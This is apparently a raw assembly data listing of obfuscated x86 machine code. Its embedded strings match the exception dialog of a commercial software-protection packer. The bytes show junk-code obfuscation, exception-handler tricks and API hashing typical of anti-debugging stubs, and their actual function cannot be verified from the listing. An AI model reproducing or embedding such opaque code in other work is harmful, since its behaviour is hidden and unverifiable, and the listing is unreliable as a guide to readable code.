6440B25h, 50177400h, 7D3B853h, 85890000h, 64402F5h dd 0A53E9D8Dh, 0D3FF0646h, 6A585Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 899C31C3h dd 3352799Bh, 4424ED95h, 6880F06h, 8B000000h, 442A058Dh dd 6AC08B06h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 21F8C350h, 0EFDEBD81h, 726F0646h dd 840F6165h, 0BDh, 56858DFCh, 500646F0h, 0F193858Dh, 8D500646h dd 46F1B485h, 95FF5006h, 64409A1h, 0C60CC483h, 4402E985h dd 4F684406h, 0FF96A318h, 442D7DB5h, 65858D06h, 0FF06443Ah dd 8DD88BD0h, 46F1B485h, 0D3FF5006h, 0EFDE858Dh, 8D500646h dd 46F05685h, 0BD835006h, 644217Dh, 8D087400h, 46F17C85h dd 8D06EB06h, 46F16585h, 858D5006h, 646F1B4h, 0A195FF50h dd 83064409h, 9D8910C4h, 6442E75h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 8FC35242h, 0FB5D5FE5h, 73403FC6h dd 14E9h, 0DDB78700h, 4618F3D4h, 480CC2DFh, 65B9ECCAh dd 744A3E28h, 0C595FFABh, 0F506441Eh, 0FF25h, 0F1B52900h dd 83064429h, 830F05F8h, 68h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 8EC35040h, 0C7CA8B4Eh, 442DA185h dd 106h, 51BD8900h, 8D06440Dh, 46F01285h, 0CD8D2306h, 1064433h dd 4421E995h, 8DE906h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0CD60B4C3h, 0D08B66B1h dd 217DBD83h, 0F000644h, 4E84h, 0FE8B6600h, 2631BD8Bh dd 858D0644h, 646F03Dh, 51E0B966h, 46E9h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 691579E4h, 10E98D9Dh, 36000000h, 6AC3A376h, 2376B6CAh dd 7737780Dh, 8DA57D25h, 46F01F85h, 5E906h, 0B1BE0000h dd 89A55684h, 46F05285h, 7DBD8306h, 64421h, 13850Fh, 0BD030000h dd 6441685h, 0FFD9BD83h, 0F000646h, 0A84h, 105AE900h, 81660000h dd 0E910A2D2h, 3C1h, 2C90C781h, 0C08B59E4h, 2350B966h dd 20CDBD83h, 75000644h, 25BD8309h, 6440Bh, 53501974h dd 0D4B8C08Bh, 89000007h, 4402F585h, 4F9D8D06h, 0FF0646A8h dd 83585BD3h, 440B25BDh, 17740006h, 0D4B85350h, 89000007h dd 4402F585h, 3E9D8D06h, 0FF0646A5h, 89585BD3h, 4429D5BDh dd 0E9C08B06h, 0Ah, 6FAA2E12h, 14C158D3h, 3F680F52h, 0B000F00h dd 440FBDBDh, 9006A06h, 440C7185h, 11E806h, 2EE50000h dd 9FCFE33Bh, 789F6B7Ch, 0C8822839h, 8B442DA3h, 441DA18Dh dd 6A5906h dd 145DB531h, 95FF0644h, 6440CC9h, 0C085D08Bh, 1C850Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 8589EAC3h, 646EFD6h, 6ACF8B66h, 6DBD8900h dd 6A06441Ah, 31BD3300h, 6A064426h, 6A006A00h, 0F57B200h dd 858DD2B7h, 646F1B4h, 0CCDA8166h, 95295013h, 6442631h dd 0FE8B016Ah, 0D980016Ah, 8B016A75h, 4414AD95h, 1FF6806h dd 0CE9000Fh, 3C000000h, 9E8AE308h, 54C1C5Fh, 0BFB010A8h dd 2A1D6C8Ah, 217DBD83h, 0F000644h, 1A84h, 0E5CA8000h dd 0F033858Dh, 8D230646h, 6441CB9h, 2DE9h, 41858900h, 8D064430h dd 46F00985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 0BF661363h, 56503402h, 5AC9B70Fh dd 0FFD78B50h, 46EFD6B5h, 3EEA8006h, 0EFC295FFh, 8B660646h dd 0FC085CAh, 1085h, 5113BA00h, 5FE96245h, 8B000000h, 440A5595h dd 0DA858906h, 890646EFh, 441F6D8Dh, 0DA815206h, 308424F8h dd 0DAB5FF5Ah, 0B90646EFh, 69C8C384h, 6FD95FFh, 0C0850644h dd 2C850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 2960B0C3h, 3EEBD71Ah, 958B782Bh dd 6441DC9h, 106AD18Ah, 0BE9h, 9CF28100h, 526BD180h, 616EE34Ch dd 7B9BD8Bh, 0BD830644h, 644217Dh, 1C840F00h, 8B000000h dd 441A25BDh, 33858D06h, 0BF0646F0h, 6F1999Bh, 10E9h, 9DBD8900h dd 8D064410h, 46F00985h, 0C68A6006h, 8B535061h, 442EDD8Dh dd 0B5FF5F06h, 646EFD6h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 0EFC35040h, 1DAAC45Ch, 0F4AE47FFh, 13E8h dd 8BE9A900h, 0C345F106h, 74AF2D24h, 0CA4EFE3Eh, 8BF40132h dd 1DC1958Bh, 0FF5F0644h, 46EFCE95h, 6810F06h, 8B000000h dd 4408F98Dh, 0FC08506h, 285h, 89C88B00h, 46EFDA85h, 99950106h dd 0F06442Ah, 68Bh, 15B52900h, 6A06441Ah, 0AE800h, 778C0000h dd 0EA1979E0h, 1C12FF7h, 595DED80h, 13E8006Ah, 0F6000000h dd 38F3F449h, 62F659D2h, 979B6F22h, 4BAFCA1Dh, 7E8D334h dd 1C000000h, 76985171h, 8D0F5E8Dh, 0 dd 0B5FF5F5Fh, 646EFDAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 69C35545h, 0E66212D1h, 0FFA73FC3h, 46EFC695h dd 0E9BD8B06h, 85064429h, 3850FC0h, 66000000h, 0B5FFFB8Bh dd 646EFDAh, 0BE6B966h, 6FD95FFh, 850F0644h, 14h, 0E820Fh dd 8E80000h, 8C000000h, 4E88E805h, 591FBDECh, 850FC085h dd 2Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h dd 0D8C35646h, 0F3FAF3CEh, 1DBD2B66h, 8106440Ch, 64ECEFCFh dd 89006A3Dh, 440A2D85h, 0AE906h, 0D1D90000h, 0EABFF2E2h dd 0A5EC56FDh, 8068h, 6860F00h, 89000000h, 4400A985h, 6A036A06h dd 9BA6B900h, 0B966561Eh, 6A8F28h, 8B66A2B6h, 68D1h, 8166C000h dd 0FF6E1FDAh, 46F052B5h, 0A1BD8B06h, 0FF06440Dh, 441BF995h dd 0FFF88306h, 513850Fh, 958B0000h, 6441F59h, 0FAC085FFh dd 0F2810646h, 51804D9Eh, 0FAC0BD83h, 0F020646h, 3E684h dd 0E9958B00h, 66064430h, 43A2CF81h, 0F59F858Dh, 0E781005Ah dd 240D7F81h, 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 529ADDC3h, 0A8921E05h, 0E872F267h dd 8, 0D0168EEDh, 0A99DADE8h, 8D5F14B1h, 5AEFF285h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 6CA3F97Bh, 421D9FF6h, 8BD0FF04h, 83FE8BC0h, 4420CDBDh dd 9750006h, 0B25BD83h, 74000644h, 8B535019h, 7D8B8C0h dd 85890000h, 64402F5h, 0A84F9D8Dh, 0D3FF0646h, 0BD83585Bh dd 6440B25h, 50177400h, 7D8B853h, 85890000h, 64402F5h dd 0A53E9D8Dh, 0D3FF0646h, 8589585Bh, 64406C5h, 0FC08BF5h dd 3F68D6B7h, 89000F00h, 442CBDBDh, 60006A06h, 20FD9D89h dd 7BB20644h, 0BF006A61h, 55215FF3h, 0CC995FFh, 0EA810644h dd 2A972D50h, 0DF81C085h, 4ADBC7FDh, 0EFD68589h, 0F88B0646h dd 0F01FF68h, 75858900h, 66064418h, 56C6E781h, 217DBD83h dd 0F000644h, 5484h, 0E98D8900h, 8906441Eh, 442A31BDh dd 33858D06h, 6A0646F0h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0E81BC355h, 14h, 2EF3C1Ch dd 129E9C7h, 0A1FAA901h, 0B4BFFCF2h, 32E42026h, 761BD89h dd 0E95F0644h, 0Dh, 9858DF8h, 890646F0h, 44324D85h, 10E95006h dd 0A0000000h, 79DF8355h, 0F31EF40Eh, 0E344A5CAh, 8AA95526h dd 0D6B5FFECh, 6A0646EFh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 810BC357h, 0E51ECEDDh dd 95FFDFB5h, 646EFCEh, 880Fh, 85890000h, 646EFDAh, 1C6D9D89h dd 85C70644h, 6442071h, 0 dd 8E9h, 5C5B1500h, 2F104DF0h, 0DABD83C0h, 646EFh, 1D2840Fh dd 0DE80000h, 40000000h, 84194BE2h, 42C434FEh, 0DE8A2365h dd 72D8D01h, 8D5F0644h, 46F2B885h, 50D18B06h, 7C6ECF81h dd 16A0A41h, 0FFD7B70Fh, 46EFDAB5h, 85896006h, 6442ECDh dd 95FF61F5h, 646EFD2h, 2FF5CBBFh, 0DAB5FF0Fh, 0FF0646EFh dd 4406FD95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 17FF6DA5h, 2F05ADC0h, 8AA8F8BFh dd 1FF6850h, 5E9000Fh, 19000000h, 23C32A93h, 217DBD83h dd 0F000644h, 3884h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 9DBD8970h, 8D06442Ah dd 46F03385h, 0D18D2906h, 8B06441Eh, 17E9CAh, 8B660000h dd 9858DC8h, 0E90646F0h, 9, 9E4910B7h, 0A80EE55Ch, 8D8B50D3h dd 64428A5h, 0EFD6B5FFh, 0BD8B0646h, 6441F4Dh, 0EFCE95FFh dd 6A0646h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 5F26FDC3h, 123E4014h, 0BD8BB659h, 6440361h dd 0EFDA8589h, 6A0646h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 12DA9CC3h, 0E45AD281h, 0B5FF4029h dd 646EFDAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 13C35343h, 80BFA89Ah, 81DBBEDAh, 0F1E24BDFh, 0CA95FF43h dd 6A0646EFh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 0A9C5C357h, 0C27BF706h, 481D1D90h dd 8DBD8B60h, 8B06442Eh, 441AB195h, 0EA8A6106h, 0EFDAB5FFh dd 9D890646h, 6441A29h, 6FD95FFh, 0C7810644h, 6CBABA64h dd 0FFF7E5E9h, 0A58501FFh, 0FF06442Ah, 46FB23B5h, 28E0F06h dd 8B000000h, 0F995FFCEh, 106440Bh, 442CB59Dh, 5858B06h dd 0E9064419h, 14h, 0B3F22E6Ah, 51CFB581h, 1BBC876Eh, 0D0C1FC3Ch dd 8F00A32Dh, 60BE9h, 55958B00h, 8D064428h, 46F2D8B5h dd 0CA816606h, 858D4C4Fh, 646A173h, 1FC19529h, 8B660644h dd 60D0FFFBh, 6F96E081h, 9D8920F5h, 64431C1h, 89006A61h dd 440A7D85h, 0E195FF06h, 81064420h, 89EC5BD2h, 6AF38B1Ah dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 9D9C356h, 858906ECh, 6441BFDh, 858D20B2h dd 646A173h, 91958960h, 0B064421h, 440A819Dh, 0D0FF6106h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 11C35141h dd 7FBAEBA0h, 0B1148F71h, 89006AABh, 44151D8Dh, 0FE906h dd 25030000h, 0ACFDF871h, 0D7FD4533h, 237AB0A4h, 0E195FFF1h dd 8B064420h, 441561BDh, 66C08B06h, 5640B6BFh, 7099D31h dd 83590644h, 4420CDBDh, 9750006h, 0B25BD83h, 74000644h dd 8B535019h, 7D9B8C0h, 85890000h, 64402F5h, 0A84F9D8Dh dd 0D3FF0646h, 0BD83585Bh, 6440B25h, 50177400h, 7D9B853h dd 85890000h, 64402F5h, 0A53E9D8Dh, 0D3FF0646h, 13E8585Bh dd 15000000h, 666312D8h, 1101993Ch, 0BEA64C27h, 27187A0Fh dd 8D8B5A1Dh, 6443049h, 0BFC08B5Ah, 23B042Ah, 55006A50h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 1C3B41A8h, 257AFA48h, 0D18B5782h, 0CFB70F5Ah, 0F58AD88Bh dd 53F9B70Fh, 15A19D8Dh, 38B0644h, 438B0389h, 50438950h dd 0FABC9D8Dh, 38B0646h, 605B0389h, 8BF1B70Fh, 0BA6661DFh dd 820FBBEFh, 6, 24059503h, 6A0644h, 0FABC858Dh, 0BF660646h dd 6A509F37h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 0CECBC353h, 0F507FBFCh, 0F21495Dh dd 0D81h, 0B6B96000h, 2967CC35h, 4413D5B5h, 9D896106h dd 6440D99h, 958B606Ah, 64431B1h, 15A1858Dh, 0B70F0644h dd 0EE950FAh, 0A8000000h, 1BDE69B4h, 4F431D26h, 0BD131041h dd 29006A6Ch, 440AB1B5h, 0BF006A06h, 5FBF9606h, 180068h dd 758D0B00h, 5306440Fh, 30A195FFh, 8C0F0644h, 2, 0C7BFFE8Bh dd 0FF6A3FA9h, 44144195h, 0B5FFFC06h, 646FB23h, 0BF995FFh dd 95890644h, 6440C5Dh, 15A1858Dh, 6A0644h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 28B0C2C3h dd 69D76843h, 8B21974Fh, 6A1840h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 2A4253C3h, 19FEE3DCh dd 8D29BC31h, 64416BDh, 0E1985C7h, 644h, 8B600000h, 14E9D3h dd 0AE6F0000h, 0E1E2868Ch, 8FA597F3h, 0CF275AA8h, 42E9FE33h dd 0F613658h, 686h, 0AD8D0100h, 83064407h, 44217DBDh, 840F0006h dd 64h, 0A5958B60h, 106441Bh, 4410298Dh, 8C3D6106h, 0F000000h dd 21E83h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 5BB2FEDAh, 0E18166E3h, 56E9B681h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 0FB5C352h, 86B1C9BFh, 963Dh, 0C8830F00h dd 6A000001h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 0C77C352h, 718589EFh, 2906442Ch dd 4430ED95h, 9F858D06h, 0E9005AF5h, 0Ah, 61641FDEh, 0BFF45553h dd 0D0FF7AFCh, 0EFF2858Dh, 0E860005Ah, 12h, 0CC8E03B5h dd 3E5A1909h, 27A76B04h, 5E1D0372h, 0BD898F51h, 6442609h dd 0FE95Ah, 785D0000h, 0D7764267h, 0B4792F7h, 0AAB65627h dd 0D0FF61C7h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 49C35040h, 2038934h, 2718D8Bh, 70B50644h, 8BD08B66h dd 5E8C0h, 0E4300000h, 0FA85E02h, 835AF9BFh, 4420CDBDh dd 9750006h, 0B25BD83h, 74000644h, 8B535019h, 0BC6B8C0h dd 85890000h, 64402F5h, 0A84F9D8Dh, 0D3FF0646h, 0BD83585Bh dd 6440B25h, 50177400h, 0BC6B853h, 85890000h, 64402F5h dd 0A53E9D8Dh, 0D3FF0646h, 6A585Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 4ED442C3h dd 0B5D37AC0h, 1554949h, 4407918Dh, 8BC08B06h, 4423518Dh dd 0FFF88306h, 5F850Fh, 0E2810000h, 6CDDA5EFh, 247585C7h dd 644h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 8D3A53C3h, 0A8484A5Ah, 870F651Dh dd 4, 8442BF66h, 8E9h, 0CF4B4800h, 87D89017h, 0B9E9F6h dd 0BA660000h, 1FE93AA2h, 89000000h, 440749B5h, 1F88306h dd 10850Fh, 81660000h, 0E9439DEAh, 0E8h, 33CD9D09h, 73E90644h dd 8BFFFFF2h, 440269BDh, 79B50906h, 8B06441Ch, 83CE8AC0h dd 4420CDBDh, 9750006h, 0B25BD83h, 74000644h, 8B535019h dd 7DDB8C0h, 85890000h, 64402F5h, 0A84F9D8Dh, 0D3FF0646h dd 0BD83585Bh, 6440B25h, 50177400h, 7DDB853h, 85890000h dd 64402F5h, 0A53E9D8Dh, 0D3FF0646h, 8B0F585Bh, 6, 32B58D03h dd 0C08B0644h, 58C0Fh, 81660000h, 0E9EC53CAh, 244h, 8E8h dd 70290600h, 0ADEA0FAEh, 0FC82BA17h, 8D590C9Dh, 46F8C085h dd 0BEBB6006h, 616DE9C4h, 9E9h dd 0CC4D7400h, 0F858E496h, 8589058Ah, 646FAB8h, 11E8h dd 9221FC00h, 540C0EC1h, 0D82C3556h, 94468F23h, 0B70F68CBh dd 3EE95FC8h, 89000000h, 440099BDh, 6E906h, 20B90000h dd 0FA4476B1h, 0F6C8858Dh, 95230646h, 64419DDh, 935254BAh dd 0EA804045h, 0B8858932h, 0F0646FAh, 0C87h, 68C0F00h dd 8B000000h, 440365BDh, 8D346A06h, 441B2985h, 0B5FF5006h dd 646FAB8h, 95FF006Ah, 644035Dh, 0F07F883h, 16284h, 0DB8C6600h dd 0F04C3F6h, 0FC85h, 0E985C600h, 56064402h, 0A8B85268h dd 7DB5FF9Ch, 8D06442Dh, 443A6585h, 6AD0FF06h, 10006804h dd 646A0000h, 0D0FF006Ah, 0FB2B8589h, 85C60646h, 64402E9h dd 0AC9B6847h, 0B5FFEC18h, 6442D7Dh, 3A65858Dh, 0D0FF0644h dd 0F08BD0FFh, 2E985C6h, 684F0644h, 0C62F2661h, 1D85B5FFh dd 858D0644h, 6443A65h, 9D8DD0FFh, 646FB27h, 56286A53h dd 0C085D0FFh, 85C60075h, 64402E9h, 64986841h, 0B5FFDB87h dd 6441D85h, 3A65858Dh, 0D0FF0644h, 0FB448589h, 85C60646h dd 64402E9h, 0E7A4684Ch, 0B5FF80A4h, 6441D85h, 3A65858Dh dd 0D0FF0644h, 0FB2B9D8Bh, 5B8D0646h, 9D8D5304h, 646FB30h dd 0FF006A53h, 2B9D8BD0h, 0C70646FBh, 103h, 0C43C700h dd 2, 21F985C7h, 644h, 6A0000h, 6A006Ah, 0FB2B9D8Bh, 6A530646h dd 27B5FF00h, 0FF0646FBh, 46FB4495h, 0E985C606h, 45064402h dd 0A5F79768h, 25B5FF92h, 8D06440Eh, 443A6585h, 6AD0FF06h dd 0FF026A00h, 0DB8C66D0h, 7504C3F6h, 2B9D8B32h, 0C70646FBh dd 0C43h, 6A0000h, 9D8B006Ah, 646FB2Bh, 0FF006A53h, 46FB27B5h dd 4495FF06h, 0FF0646FBh, 46FB27B5h, 4195FF06h, 6A064414h dd 0E195FF00h, 8B064420h, 4425A58Dh, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 8D2B8173h dd 6442C01h, 2CDC858Dh, 0CB8B0647h, 8950AAB2h, 4417659Dh dd 35FF6406h, 0 dd 8C4489B9h, 5E81Fh, 8970000h, 666220F4h, 27C7EF81h, 2589645Ah dd 0 dd 0EB5CC781h, 0BD83021Fh, 6442381h, 44840F00h, 89000000h dd 4409A98Dh, 11BD8306h, 106442Fh, 31850Fh, 5E80000h, 45000000h dd 7FC7B8FCh, 0A55DD281h, 8B5A2C01h, 44289595h, 44BD8006h dd 646FFh, 0D850Fh, 0C88B0000h, 136E9h, 0F1B58900h, 3306440Dh dd 0E9C033DBh, 7, 0DBDF157Fh, 409BA7CFh, 0B073F0Fh, 58F64h dd 83000000h, 0BF6604C4h, 0B70F5F63h, 0B18531D7h, 83064431h dd 840FFFFBh, 0Bh, 2BF5B501h, 0E6E90644h, 0E9000000h, 52h dd 6898D8Bh, 4C8B0644h, 81C70C24h, 0A4h, 0FFFFFFFFh, 0B88183h dd 33040000h, 5C8BC3C0h, 0E8550C24h, 0 dd 0FEED815Dh, 8B06472Ch, 0B883h, 0C1858D00h, 8906472Dh dd 0B883h, 0C0335D00h, 0C281FCC3h, 25A78399h, 421BD89h dd 858D0644h, 6472CF4h, 89DB509h, 31500644h, 4425D1B5h dd 0FF64FC06h, 35h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 0C2D9D453h, 258964B6h dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 5FC35646h dd 8BBE9E5Bh, 440DF195h, 0AB906h, 4B80000h, 54855D7h, 0DF78164h dd 85D465BBh, 0B640BA86h, 0EA810034h, 345FE8h, 68FB81EDh dd 75564D58h, 4985C70Ah, 1064431h, 64000000h, 58Fh, 0C4830000h dd 0CD958B04h, 8906442Fh, 44161185h, 6AC08B06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 1681C351h, 0B6990B71h, 831958BBh, 4420CDBDh, 9750006h dd 0B25BD83h, 74000644h, 8B535019h, 43DB8C0h, 85890000h dd 6442229h, 0A8B69D8Dh, 0D3FF0646h, 0BD83585Bh, 6440B25h dd 50177400h, 43DB853h, 85890000h, 6442229h, 0A5579D8Dh dd 0D3FF0646h, 5E9585Bh, 1D000000h, 92EF8CCDh, 2609BD8Bh dd 0BD890644h, 64402A5h, 0B4C68051h, 0E9C08B59h, 13Ah dd 4, 35382E31h, 35h, 6 dup(0) dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h dd 6E6F69h, 61656C50h, 202C6573h, 646E6573h, 65687420h dd 6C6F6620h, 69776F6Ch, 6320676Eh, 7365646Fh, 206F7420h dd 6F666E69h, 65726F40h, 2E736E61h, 2E6D6F63h, 61685420h dd 79206B6Eh, 0A2E756Fh, 200D0A0Dh, 20202020h, 28202020h dd 73657270h, 54432073h, 432B4C52h, 206E6F20h, 73696874h dd 6E697720h, 20776F64h, 63206F74h, 2079706Fh, 63206F74h dd 6270696Ch, 6472616Fh, 20202029h, 0A0D0A20h, 7265560Dh dd 6E6F6973h, 203D2020h, 0D0A7325h, 63656843h, 204E496Bh dd 25203D20h, 430D0A64h, 6B636568h, 2054554Fh, 6425203Dh dd 72500D0Ah, 4E49636Fh, 3D202020h, 0A642520h, 6F72500Dh dd 54554F63h, 203D2020h, 0D0A6425h, 74697845h, 20204E49h dd 25203D20h, 450D0A64h, 4F746978h, 20205455h, 6425203Dh dd 50540D0Ah, 20206E69h, 3D202020h, 0A642520h, 0BD83000Dh dd 64416C1h, 2D840F00h, 8D000001h, 46A36E85h, 858D5006h dd 646A2D8h, 16850h, 95FF8000h, 646A37Eh, 2E6A858Dh, 8D500647h dd 472E7485h, 6A5006h, 858D006Ah, 646A2ECh, 6EB5FF50h dd 0FF0646A3h, 4419E595h, 6A858D06h, 5006472Eh, 2E78858Dh dd 6A500647h, 8D006A00h, 46A2FE85h, 0B5FF5006h, 646A36Eh dd 19E595FFh, 858D0644h, 6472E6Ah, 84858D50h, 5006472Eh dd 6A006Ah, 0A34B858Dh, 0FF500646h, 46A36EB5h, 0E595FF06h dd 8D064419h, 472E6A85h, 858D5006h, 6472E8Ch, 6A006A50h dd 69858D00h, 500646A3h, 0A36EB5FFh, 95FF0646h, 64419E5h dd 2E6A858Dh, 8D500647h, 472E8885h, 6A5006h, 858D006Ah dd 646A352h, 6EB5FF50h, 0FF0646A3h, 4419E595h, 6A858D06h dd 5006472Eh, 2E7C858Dh, 6A500647h, 8D006A00h, 46A35A85h dd 0B5FF5006h, 646A36Eh, 19E595FFh, 858D0644h, 6472E6Ah dd 80858D50h, 5006472Eh, 6A006Ah, 0A361858Dh, 0FF500646h dd 46A36EB5h, 0E595FF06h, 0FF064419h, 46A36EB5h, 0F995FF06h dd 0E9064413h, 0A2h, 2E0DBD83h, 0F000644h, 9584h, 11BD8300h dd 6442Fh, 11850Fh, 958B0000h, 644041Dh, 1CF8C281h, 0FE90000h dd 8D000000h, 4415A195h, 34528B06h, 0C340C281h, 95893BD4h dd 6442F3Dh, 2F3DBD83h, 0F000644h, 5584h, 3D9D8B00h, 8306442Fh dd 38B4CC3h, 2E748589h, 9D8B0647h, 6442F3Dh, 8B50C383h dd 78858903h, 8B06472Eh, 442F3D9Dh, 54C38306h, 8589038Bh dd 6472E84h, 2F3D9D8Bh, 0C3830644h, 89038B58h, 472E8885h dd 3D9D8B06h, 8306442Fh, 38B5CC3h, 2E7C8589h, 0BD830647h dd 64416C1h, 0D850F00h, 83000000h, 442E0DBDh, 840F0006h dd 68h, 2E8CB5FFh, 0B5FF0647h, 6472E80h, 2E7CB5FFh, 0B5FF0647h dd 6472E88h, 2E84B5FFh, 0B5FF0647h, 6472E78h, 2E74B5FFh dd 858D0647h, 6472E6Eh, 0A6858D50h, 5006472Eh, 471858Dh dd 0FF500644h, 4409A195h, 24C48306h, 858D406Ah, 6472E90h dd 71858D50h, 50064404h, 95FF006Ah, 644035Dh, 95FF016Ah dd 64420E1h, 14E8C18Bh, 48000000h, 0D6305267h, 0B1E86448h dd 4DD3F28Eh, 4C726641h, 0E88C5703h, 14h, 0EBCC906Bh, 5AF72F5Dh dd 0B72E29ECh, 877D7F2Ah, 0C8F03105h, 9E38BA66h, 0F78A5B5Ah dd 6BF0C381h, 8E0F0000h, 6, 5952E681h, 0B3685F02h, 0E800001Ah dd 0Ah, 0DA74DBD6h, 9FB6057Ah, 840F8CDDh, 14h, 0EE8h, 0ACC91F00h dd 6E445A5Fh, 1EEF287Ch, 5EE9A854h, 8A0F585Ah, 7, 665E5360h dd 0FF61C28Bh, 0D8D0F33h, 60000000h, 0E65B25BFh, 890F19h dd 61000000h, 0CA816659h, 0C18158A8h, 3899FC57h, 28D0Fh dd 0F28B0000h, 4799C181h, 0F9BE10B9h, 81732906h, 0CD7E1AF1h dd 0BF64BE24h, 0F8514EF5h, 0EB81038Fh, 119ED0B2h, 0D114CF81h dd 0C3812B06h, 119ED0AEh, 4501BA66h, 0F01E883h, 1A85h dd 0D38B6600h, 3AE9h, 7D67E900h, 57CDD67Fh, 95675126h dd 9E64818h, 0F17BCA3h, 0A88h, 5E900h, 0EBBD0000h, 0E9FB1E6Ch dd 0FFFFFF6Fh, 7E66C5D8h, 6FECC0D0h, 0D4AD6905h, 77E27443h dd 0EB0DD866h, 46F31718h, 9Bh, 4 dup(0) dd 20BE900h, 8B600000h, 0E824245Ch, 0 dd 5AED815Dh, 61064733h, 0E90004C2h, 0FFFFFFE6h, 8C26160h dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 8C26160h dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 2 dup(0) dd 0E9C36160h, 0FFFFFFF8h, 3392B58Bh, 0E6810647h, 0FFFFF000h dd 0BE9h, 19E800h, 0C6810000h, 1000h, 3396B53Bh, 860F0647h dd 0FFFFFFE9h, 0FD8200Fh, 60CFD822h, 6650C361h, 324C88Ch dd 840FC00Ah, 19h, 2BB5350h, 8B000000h, 442F3D85h, 0A188606h dd 0F6850FDBh, 5BFFFFFFh, 4FF5858h, 0CFE9C324h, 50FFFFFFh dd 82474FFh, 28E995FFh, 0F500644h, 0FE244C01h, 1CC08358h dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h dd 9840FC0h, 8B000000h, 442F3D85h, 0C606h, 2404FF58h, 0E90004C2h dd 0FFFFFFBBh, 8C665053h, 3E380CBh, 840FDB0Ah, 38h, 2BBh dd 3D858B00h, 8606442Fh, 0FDB0A18h, 0FFFFF685h, 0A585C7FFh dd 64423h, 8B000000h, 8B082444h, 100098h, 988900h, 8B000010h dd 0E9188918h, 0Ah, 23A585C7h, 1000644h, 5B580000h, 0C32404FFh dd 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h, 763AB7A1h dd 1B101B0h, 13E9h, 0C88AAC00h, 0C332C302h, 0BAACBD1h dd 1840FD2h, 4A000000h, 850FC90Ah, 0FFFFFFE5h, 850FD20Bh dd 0FFFFFFDDh, 8B52C361h, 7A8B57D4h, 0E9C03308h, 1, 3F80AAh dd 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h, 10E9DB33h dd 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h, 0B49D3D3h dd 0E8850FC9h, 8BFFFFFFh, 5B595EC3h, 0A1BB60C3h, 0B0763AB7h dd 11E901h, 32AC0000h, 0D1C32AC3h, 0D20BAACBh, 1840Fh dd 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h, 61FFFFFFh dd 0D88C66C3h, 840F04A8h, 29h, 333785C7h, 10647h, 0F500000h dd 0FE244C01h, 333B858Fh, 858D0647h, 6473333h, 333BBD8Dh dd 38890647h, 23E9h, 0A1858D00h, 8B064415h, 17053840h dd 899B46F3h, 47333385h, 0A1858D06h, 8B064415h, 85893C40h dd 6473337h, 3350858Dh, 85890647h, 64428E9h, 87E9h, 0D48B5200h dd 8728B60h, 0B80C7A8Bh, 0A945CAB2h, 7E9h, 30060000h, 46C8D106h dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h, 8728B60h dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 28063000h, 46C8D106h dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 